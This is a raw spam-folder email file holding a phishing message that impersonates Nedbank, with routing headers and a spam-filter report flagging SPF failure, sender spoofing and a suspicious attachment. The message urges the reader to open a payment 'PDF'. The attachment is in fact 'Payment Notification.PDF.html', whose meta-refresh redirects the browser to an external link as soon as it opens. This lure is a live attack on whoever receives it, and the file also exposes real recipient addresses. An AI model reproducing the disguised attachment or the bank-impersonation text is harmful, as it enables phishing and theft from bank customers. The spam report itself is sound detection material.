File: /home/govancoz/mail/.spam/new/1722988075.M537558P337375.zacp120.ve.host,S=6092,W=6226
Return-Path: <notification@nedbank.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id ETVhHyu2smbfJQUAvcbEzQ
(envelope-from <notification@nedbank.co.za>)
for <govancoz+spam@zacp120.ve.host>; Wed, 07 Aug 2024 01:47:55 +0200
Return-path: <notification@nedbank.co.za>
Envelope-to: nilam@govan.co.za
Delivery-date: Wed, 07 Aug 2024 01:47:55 +0200
Received: from 42-200-210-96.static.imsbiz.com ([42.200.210.96]:46612 helo=mail.refholdings.com.hk)
by zacp120.ve.host with esmtp (Exim 4.97.1)
(envelope-from <notification@nedbank.co.za>)
id 1sbTuB-00000001Pdn-39AA
for nilam@govan.co.za;
Wed, 07 Aug 2024 01:47:55 +0200
Received: from localhost (localhost [127.0.0.1])
by newuniversegroup.com (Postfix) with ESMTP id D9CD051D55CB;
Wed, 7 Aug 2024 07:47:08 +0800 (HKT)
X-Virus-Scanned: amavisd-new at newuniversegroup.com
Received: from newuniversegroup.com ([127.0.0.1])
by localhost (mail.refholdings.com.hk [127.0.0.1]) (amavisd-new, port 10024)
with LMTP id xs5o_vBg8Rdy; Wed, 7 Aug 2024 07:47:07 +0800 (HKT)
Received: from [192.168.0.4] (unknown [197.184.170.123])
by newuniversegroup.com (Postfix) with ESMTPA id 5CC8455D0A8A;
Wed, 7 Aug 2024 07:45:37 +0800 (HKT)
Content-Type: multipart/mixed; boundary="===============1451957826=="
MIME-Version: 1.0
To: Recipients <notification@nedbank.co.za>
From: Current Account Statements <notification@nedbank.co.za>
Date: Tue, 06 Aug 2024 16:45:31 -0700
X-Spam-Status: Yes, score=14.5
X-Spam-Score: 145
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: A payment has been made to your account. To view the details
of the payment, please open the attached PDF file. You may require Adobe
Acrobat Reader on your computer to open the PDF file. Please do not reply
as this email was sent from an unattended mailbox.
Content analysis details: (14.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in sa-trusted.bondedsender.org]
0.0 TVD_RCVD_IP Message was received from an IP address
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=notification%40nedbank.co.za;ip=42.200.210.96;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in bl.score.senderscore.com]
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the
message and the domain has a DMARC
quarantine policy
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.0 TO_EQ_FM_DOM_SPF_FAIL To domain == From domain and external SPF
failed
1.2 TO_EQ_FM_SPF_FAIL To == From and external SPF failed
X-Spam-Flag: YES
Subject: ***SPAM*** Payment Notification
You will not see this in a MIME-aware mail reader.
--===============1451957826==
Content-Type: multipart/alternative; boundary="===============1954789923=="
MIME-Version: 1.0
--===============1954789923==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
A payment has been made to your account.
To view the details of the payment, please open the attached PDF file.
=
You may require Adobe Acrobat Reader on your computer to open the PDF file.
=
Please do not reply as this email was sent from an unattended mailbox.
--===============1954789923==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
<HTML><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-=
1"></head><body><p>A payment has been made to your account.<br>
To view the details of the payment, please open the attached PDF file.<br>
<br>
You may require Adobe Acrobat Reader on your computer to open the PDF file.=
<br>
<br>
Please do not reply as this email was sent from an unattended mailbox.</p><=
/BODY></HTML>
--===============1954789923==--
--===============1451957826==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Payment Notification.PDF.html"
<!DOCTYPE html>
<meta http-equiv=3D"refresh" content=3D"00;https://aminsms.com/uYdql">
<body class=3D"center">
</html>
--===============1451957826==--